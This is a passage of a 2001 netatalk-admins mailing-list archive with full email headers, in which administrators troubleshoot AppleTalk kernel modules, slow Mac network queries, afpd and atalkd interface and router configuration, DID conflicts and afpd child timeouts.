Support Intellectual Property.	|	Lance Levsen
Surrender yours to Microsoft.	|	Programmer
- Ed Craig			|	PWGroup - S'toon.


From netatalk.administrators-errors@umich.edu  Fri Jul 20 19:21:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA02308
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 19:21:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA09021
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 19:21:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA09005
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 19:21:57 -0400 (EDT)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA08965
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 19:21:56 -0400 (EDT)
Received: from ns01-n70-042.de.inter.net ([213.73.70.42] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #3)
	id 15Njal-0006H5-00
	for netatalk-admins@umich.edu; Sat, 21 Jul 2001 01:21:55 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id BAA15127
	for <netatalk-admins@umich.edu>; Sat, 21 Jul 2001 01:19:45 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Poor netatalk performance
Date: Sat, 21 Jul 2001 01:12:32 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <Pine.OSF.4.21.0107201920070.7821-100000@Platon.sgic.fi>
In-Reply-To: <Pine.OSF.4.21.0107201920070.7821-100000@Platon.sgic.fi>
MIME-Version: 1.0
Message-Id: <01072101194402.08193@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id TAA02308

On Fri, 20 Jul 2001, Lasse Lehtinen wrote:
> On Fri, 20 Jul 2001, JollyRoger wrote:
> 
> > Jul 20 09:01:12 obscurity modprobe: modprobe: Can't locate module net-pf-5
> > Jul 20 09:01:12 obscurity modprobe: modprobe: Can't locate module net-pf-5
> 
> You're running AppleTalk as a module? I've compiled AppleTalk to the
> kernel, but i've seen similar problems in the SourceForge Netatalk
> forums. Add the following line in your /etc/modules
> 
> alias appletalk net-pf-5

In my /etc/modules.conf (notice the suffix! ;-) )
there's a line:

alias net-pf-5            appletalk

The alias goes the opposite direction.
I think that makes more sense! ;-))

You will need to run a `depmod -a'.

> 
> After that, you probably must reinstall the module with rmmod appletalk
> and modprobe appletalk. Check more info at:
> 
> http://sourceforge.net/tracker/index.php?func=detail&aid=306614&group_id=8642&atid=208642

Kind regards

	Carsten

From netatalk.administrators-errors@umich.edu  Fri Jul 20 19:38:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA03266
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 19:38:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA02492
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 19:38:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA02486
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 19:38:52 -0400 (EDT)
Received: from sss.pgh.pa.us ([192.204.191.242])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA02467
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 19:38:51 -0400 (EDT)
Received: from sss2.sss.pgh.pa.us (tgl@localhost [127.0.0.1])
	by sss.pgh.pa.us (8.11.4/8.11.4) with ESMTP id f6KNcOC05834;
	Fri, 20 Jul 2001 19:38:24 -0400 (EDT)
To: Lance Levsen <l.levsen@printwest.com>
cc: netatalk-admins <netatalk-admins@umich.edu>, LINUX-ATALK@netspace.org
Subject: Re: OT - Mac network diagnostics? 
In-reply-to: <20010720214420.2576F796E@cossette.dante.ca> 
References: <20010720214420.2576F796E@cossette.dante.ca>
Comments: In-reply-to Lance Levsen <l.levsen@printwest.com>
	message dated "Fri, 20 Jul 2001 15:44:19 -0600"
Date: Fri, 20 Jul 2001 19:38:24 -0400
Message-ID: <5831.995672304@sss.pgh.pa.us>
From: Tom Lane <tgl@sss.pgh.pa.us>

Lance Levsen <l.levsen@printwest.com> writes:
> The scenario is:
> 100baseT network,
> Linux PostgreSQL database
> Mac RealBasic application connects to the database

> Small queries happen fast, Large Macintosh LAN queries take 
> forever, 6-13 seconds. W2K and an Ultra Sparc clients get 
> returns of .08 seconds w/ the same query.
> The strange thing is that the same query from a remote Mac 
> client via Internet takes about 1.5 sec.

That makes it a networking problem, not a Postgres problem, so
it's a bit out of my depth.  However, I did just yesterday discover
a hack that helped me with a Linux networking problem: it seems the
Linux kernel has some weird retransmit behavior when there is a lot
of data pending in the send-queue.  Maybe you are being bit by the
same thing.  Try doing this on the Linux box:

	echo 0 > /proc/sys/net/ipv4/tcp_retrans_collapse

and see if things work any differently.  This parameter is documented
thus:

tcp_retrans_collapse - BOOLEAN
	Bug-to-bug compatibility with some broken printers.
	On retransmit try to send bigger packets to work around bugs in
	certain TCP stacks.

and I'm currently thinking that it creates more bugs than it fixes...
but it seems to be defaulted ON.

			regards, tom lane

From netatalk.administrators-errors@umich.edu  Fri Jul 20 20:30:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA05012
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 20:30:03 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA25537
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 20:29:51 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA25519
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 20:29:51 -0400 (EDT)
Received: from mta02.mail.mel.aone.net.au (mta02.mail.au.uu.net [203.2.192.82])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA25454
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 20:29:48 -0400 (EDT)
Received: from faxserver ([63.34.212.17]) by mta02.mail.mel.aone.net.au
          with ESMTP
          id <20010721002958.OLIQ8316.mta02.mail.mel.aone.net.au@faxserver>
          for <netatalk-admins@umich.edu>; Sat, 21 Jul 2001 10:29:58 +1000
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 15NkeE-0000Ft-00
	for <netatalk-admins@umich.edu>; Sat, 21 Jul 2001 10:29:34 +1000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sat, 21 Jul 2001 10:29:36 +1000
Subject: DID & trashed files (again)
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: <netatalk-admins@umich.edu>
Message-ID: <B77F0A0F.2224%editor.ac@churchesofchrist.org.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi,

I am running Netatalk 1.4.99-0.20000927 on an intel 486 box (Debian Linux,
kernel version 2.2.1) with two Macs connected (running system 8.1. and 8.6).
Mostly this has been quite reliable, but today we found that a file copy
caused the Finder to freeze and the files in the netatalk shared folder to
be trashed (almost all were deleted).

When looking in the syslog I found two error messages which may be relevant.
Repeated many times was: afpd: Warning DID conflict ... are these the same
file. Also in the logs there was an afpd error: afpd-enumerate: stat ... No
such file or directory.

Occasionally I have had problems with the G4 (system 8.6) with unexpected
disconnection from the Appleshare volume. Since the 8.1 machine was
continuing fine on the same volume, I assume it was a problem with the G4.
Now I'm not so sure.

I noted the discussion regarding DID conflict at the end of last year in the
mailing list archive and wondered if there are any solutions/workarounds. I
cannot find an archive of the 2001 list messages (any URLs?).

TIA
Nigel.


From netatalk.administrators-errors@umich.edu  Fri Jul 20 22:59:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA07991
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 22:59:09 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id WAA21089
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 22:59:09 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA21077
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 22:59:08 -0400 (EDT)
Received: from ex01.schurman ([63.192.52.42])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA21039
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 22:59:07 -0400 (EDT)
Received: by ex01.schurman.com with Internet Mail Service (5.5.2653.19)
	id <3ZMBJ7X9>; Fri, 20 Jul 2001 19:55:28 -0700
Message-ID: <5EF217A90112C344A74372C02F1A3F9237DE19@EX02.corp.schurman.com>
From: Sean Silva <SeanS@schurman.com>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: 
Date: Fri, 20 Jul 2001 19:59:01 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C11191.1857A703"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C11191.1857A703
Content-Type: text/plain;
	charset="iso-8859-1"

unsubscribe

------_=_NextPart_001_01C11191.1857A703
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE></TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2 FACE="Arial">unsubscribe</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C11191.1857A703--

From netatalk.administrators-errors@umich.edu  Fri Jul 20 23:40:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA08973
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 23:40:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id XAA00888
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 23:40:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA00878
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 23:40:22 -0400 (EDT)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA00848
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 23:40:21 -0400 (EDT)
Received: from ns12-n67-150.de.inter.net ([213.73.67.150] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #3)
	id 15Nncq-0001gV-00
	for netatalk-admins@umich.edu; Sat, 21 Jul 2001 05:40:20 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id FAA16115
	for <netatalk-admins@umich.edu>; Sat, 21 Jul 2001 05:37:48 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re:
Date: Sat, 21 Jul 2001 05:36:51 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <5EF217A90112C344A74372C02F1A3F9237DE19@EX02.corp.schurman.com>
In-Reply-To: <5EF217A90112C344A74372C02F1A3F9237DE19@EX02.corp.schurman.com>
MIME-Version: 1.0
Message-Id: <01072105374804.08193@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id XAA08973

On Sat, 21 Jul 2001, Sean Silva wrote:
> 
> unsubscribe
> 

unsubscription rejected

From netatalk.administrators-errors@umich.edu  Sat Jul 21 01:07:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA10979
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 21 Jul 2001 01:07:20 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id BAA18146
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 21 Jul 2001 01:07:08 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA18134
	for netatalk.administrators-members@umich.edu; Sat, 21 Jul 2001 01:07:07 -0400 (EDT)
Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA18101
	for <netatalk-admins@umich.edu>; Sat, 21 Jul 2001 01:07:06 -0400 (EDT)
Received: from [195.20.224.209] (helo=mrvdom02.schlund.de)
	by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 15Noz0-0003UO-00; Sat, 21 Jul 2001 07:07:18 +0200
Received: from b05be.pppool.de ([213.7.5.190])
	by mrvdom02.schlund.de with esmtp (Exim 2.12 #2)
	id 15Noyz-0006HN-00; Sat, 21 Jul 2001 07:07:17 +0200
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Sat, 21 Jul 2001 07:05:37 +0200
Subject: Re: Poor netatalk performance
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
CC: Lasse Lehtinen <lasse.lehtinen@iki.fi>,
        Thomas Kaiser <Thomas.Kaiser@phg-online.de>
Message-ID: <B77EDA1A.29AE0%ts@visual-s.de>
In-Reply-To: <Pine.OSF.4.21.0107202113200.17033-100000@Platon.sgic.fi>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 01-07-20 20:16 +0200, Lasse Lehtinen wrote:

> On Fri, 20 Jul 2001, Thomas Kaiser wrote:
> 
>> Then I would suggest to disable AppleTalk on one NIC completely. Try
>> 
>> eth1 -phase 2
> 
> Jul 20 21:10:48 ssc atalkd[1218]: config for no router
> Jul 20 21:10:49 ssc atalkd[1218]: ready 0/0/0
> Jul 20 21:10:49 ssc atalk: atalkd startup succeeded
> Jul 20 21:11:01 ssc atalk: afpd startup succeeded
> Jul 20 21:11:07 ssc afpd[1243]: Pingviini:AFPServer@* started on
> 65280.166:128 (1.5pre6)
> 
> Tested this configuration on my own Linux box, I have no idea how it
> behaves. But the first line caught my attention. Does it mean that there's
> no router on the network but the server will still bring up in Chooser if
> clients have no zone selected? That would be exactly what I wanted.
> 
Yes ...

... but for your server, be prepared to run into trouble again -- if I got
you right, you are planning to configure your server to be an IP router as
well.

I have been struggling with a similar setup myself, Netatalk bound to
primary NIC, IP (routed and NATed) to primary and secondary NICs, both
connected to the same physical network. Primary NIC is internal, secondary
external. Netatalk configured to use the IP number of primary NIC.

Remember, clients logon to the server using AppleTalk, but will change to
IP transport (routed!) after logon. With IP routing enabled, the server will
listen at both NICs for AppleTalk over IP traffic -- my server was always
receiving through secondary and sending through primary NIC, causing wired
problems.

Setting up a firewall at the server (Suse 7.0, Kernel 2.2.16), I managed
to restrict any AppleTalk traffic to the primary NIC, and all problems
vanished.  

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Sat Jul 21 03:34:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA14231
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 21 Jul 2001 03:34:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA18356
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 21 Jul 2001 03:34:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA18338
	for netatalk.administrators-members@umich.edu; Sat, 21 Jul 2001 03:34:24 -0400 (EDT)
Received: from platon.sgic.fi (platon.sgic.fi [213.173.130.65])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA18296
	for <netatalk-admins@umich.edu>; Sat, 21 Jul 2001 03:34:23 -0400 (EDT)
Received: from localhost (blob@localhost)
	by platon.sgic.fi (8.8.8/8.8.8) with ESMTP id KAA19817;
	Sat, 21 Jul 2001 10:34:21 +0300 (EET DST)
Date: Sat, 21 Jul 2001 10:34:21 +0300 (EET DST)
From: Lasse Lehtinen <blob@sgic.fi>
Reply-To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
To: Thomas Schierle <ts@visual-s.de>
cc: Netatalk-Admins <netatalk-admins@umich.edu>,
        Thomas Kaiser <Thomas.Kaiser@phg-online.de>
Subject: Re: Poor netatalk performance
In-Reply-To: <B77EDA1A.29AE0%ts@visual-s.de>
Message-ID: <Pine.OSF.4.21.0107211031250.31024-100000@Platon.sgic.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Sat, 21 Jul 2001, Thomas Schierle wrote:

> > Tested this configuration on my own Linux box, I have no idea how it
> > behaves. But the first line caught my attention. Does it mean that there's
> > no router on the network but the server will still bring up in Chooser if
> > clients have no zone selected? That would be exactly what I wanted.

> Yes ...
> 
> ... but for your server, be prepared to run into trouble again -- if I got
> you right, you are planning to configure your server to be an IP router as
> well.

No, that was the scenario where I would have to put the AppleTalk network
to a different segment and they would also have access to the gateway on
our LAN. That would required routing. The server running Netatalk isn't a
router, there's a seperate gateway in the network. So I would have two
NIC's in the same network with no routing and AppleTalk enabled on just
one them. How does that sound? 


From netatalk.administrators-errors@umich.edu  Sat Jul 21 03:45:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA14445
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 21 Jul 2001 03:45:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA08950
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 21 Jul 2001 03:45:54 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA08931
	for netatalk.administrators-members@umich.edu; Sat, 21 Jul 2001 03:45:54 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA08884
	for <netatalk-admins@umich.edu>; Sat, 21 Jul 2001 03:45:52 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id JAA26254;
	Sat, 21 Jul 2001 09:59:57 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Sat, 21 Jul 2001 09:46:28 +0200
Subject: Re: Poor netatalk performance
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Lasse Lehtinen <lasse.lehtinen@iki.fi>, Lasse Lehtinen <blob@sgic.fi>
CC: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B77EFFF4.EC31%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.OSF.4.21.0107211031250.31024-100000@Platon.sgic.fi>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on Sat, 21 Jul 2001 10:34:21 +0300 (EET DST), Lasse Lehtinen wrote:

> So I would have two NIC's in the same network with no routing and AppleTalk
> enabled on just one them. How does that sound?

Okay. 

If you use eth1 for AppleTalk then you should configure in afpd.conf also
that eth1's ip address should be used for afp over tcp:

~ > cat /etc/atalk/afpd.conf
"Name of your Netatalk box" -ddp -tcp -address [eth1's address]

If clients connect via the chooser (NBP) then the server will answer their
FPGetSrvrInfo request with all the possibilities to connect to him
(including this ip address and default port 548).

If your clients use AppleShare Client 3.7.4 (AFAIR) or later then they will
establish the afp session via tcp/ip on the given address/port.

regards,

Thomas


From netatalk.administrators-errors@umich.edu  Sat Jul 21 04:49:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA15641
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 21 Jul 2001 04:49:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA01323
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 21 Jul 2001 04:49:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA01308
	for netatalk.administrators-members@umich.edu; Sat, 21 Jul 2001 04:49:23 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA01282
	for <netatalk-admins@umich.edu>; Sat, 21 Jul 2001 04:49:22 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id LAA26555;
	Sat, 21 Jul 2001 11:04:12 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Sat, 21 Jul 2001 10:50:42 +0200
Subject: Netatalk as AppleTalk router (was: Re: Poor netatalk performance)
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Mac Conin <mconin@euc.de>, <typo@netcabo.pt>
CC: <netatalk-admins@umich.edu>
Message-ID: <B77F0F02.EC3A%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3B58415C.E6FDB8FC@euc.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Fri, 20 Jul 2001 10:36:05 -0400 (EDT), Mac Conin wrote:

[message rearranged ;-) ]
> [...]
> Pedro Corte-Real wrote:
>> I know nothing compared to you guys but I think all this guy needs is a line
>> like:
>> 
>> eth0
>> 
>> on his atalkd.conf. That line will make netatalk ignore the eth1 interface
>> and work with the eth0 only.
>>
>> Sorry if I'm talking nonsense.
>
> This is correct - if seed is not in the line routing for netatalk is disabled

No.

Netatalk _tries_ to act as a router if it is configured to use two ore more
NICs on one machine.

This does not depend on whether you want Netatalk to be a seed router on one
or more interfaces or not. Netatalk can also act like a non-seed AppleTalk
router.

If you start with

    eth0 -phase 2
    eth1 -seed -phase 2 -net10-10 -addr 10.142 -zone "zone"

then Netatalk will look for a seed router on eth0 and learn it's
configuration for this segment (and other connected segments behind this
router also). On eth1 Netatalk will try to become a seed router for this
segment.

The only thing that matters is that network ranges stay unique in all
segments and that the same default zones are published (the first '-zone'
entry is the default zone on that segment)

One exception:

asun2.1.3 (and later?) supports also the switch '-router'. If this is set
you can publish zones on one single interface:

<http://www.umich.edu/~rsug/netatalk/archive/admins/1999/2163.html>

regards,

Thomas


From netatalk.administrators-errors@umich.edu  Sat Jul 21 21:46:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA05597
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 21 Jul 2001 21:46:12 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id VAA08314
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 21 Jul 2001 21:45:58 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA08306
	for netatalk.administrators-members@umich.edu; Sat, 21 Jul 2001 21:45:58 -0400 (EDT)
Received: from mailout03.sul.t-online.de (mailout03.sul.t-online.com [194.25.134.81])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA08286
	for <netatalk-admins@umich.edu>; Sat, 21 Jul 2001 21:45:56 -0400 (EDT)
Received: from fwd01.sul.t-online.de 
	by mailout03.sul.t-online.de with smtp 
	id 15O8Jt-0001Uc-01; Sun, 22 Jul 2001 03:46:09 +0200
Received: from starbase.koch.de (520057542055-0001@[217.5.88.249]) by fmrl01.sul.t-online.com
	with esmtp id 15O8Jm-20k9ZIC; Sun, 22 Jul 2001 03:46:02 +0200
Received: from vulcan (vulcan.koch.de [192.168.1.11])
	by starbase.koch.de (8.11.0/8.11.0/SuSE Linux 8.11.0-0.4) with SMTP id f6M1k0t29579
	for <netatalk-admins@umich.edu>; Sun, 22 Jul 2001 03:46:06 +0200
X-Authentication-Warning: starbase.koch.de: Host vulcan.koch.de [192.168.1.11] claimed to be vulcan
From: "Markus Koch" <koch@mpiib-berlin.mpg.de>
To: <netatalk-admins@umich.edu>
Subject: afp alarm child timed out seems to lead to dissappearing server in choser
Date: Sun, 22 Jul 2001 03:45:58 +0200
Message-ID: <ELEEKGAGFFNGOEHDIHKDMECDCAAA.koch@mpiib-berlin.mpg.de>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-Sender: 520057542055-0001@t-dialin.net

Hi

Once in a while the whole appletalk network goes down for a period of 1 to 5
minutes: the server (and all other macs) dissapear from the choser on every
computer, without any appearent reason. Even the windows clients (samba)
have problems accessing the server. It almost looks like the network raffic
is to much to do anything.
I am running 1.4b2+asun2.1.3 on a Suse system. The kernel is a plain (not
suse) 2.2.16 with raidpatch.
Here is a part from syslog during one of these downperiods.

Jul 11 16:08:53 base afpd[5666]: afp_alarm: child timed out
Jul 11 16:08:53 base afpd[5666]: 29.55KB read, 70.70KB written
Jul 11 16:08:53 base afpd[342]: server_child[1] 5666 exited 1
Jul 11 16:08:53 base afpd[5556]: afp_alarm: child timed out
Jul 11 16:08:53 base afpd[5556]: 24.99KB read, 108.03KB written
Jul 11 16:08:53 base afpd[342]: server_child[1] 5556 exited 1
Jul 11 16:09:06 base afpd[6044]: afp_alarm: child timed out
Jul 11 16:09:06 base afpd[6044]: 6393.42KB read, 186858.25KB written
Jul 11 16:09:06 base afpd[342]: server_child[1] 6044

Although the afpd“s died here, at 16:12 the connections came back without
any new entries in the log.

Anyone a hint? BTW what does this child timed out mean? What has happend?


thanks
markus


From netatalk.administrators-errors@umich.edu  Mon Jul 23 05:40:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA16392
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Jul 2001 05:40:14 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA24692
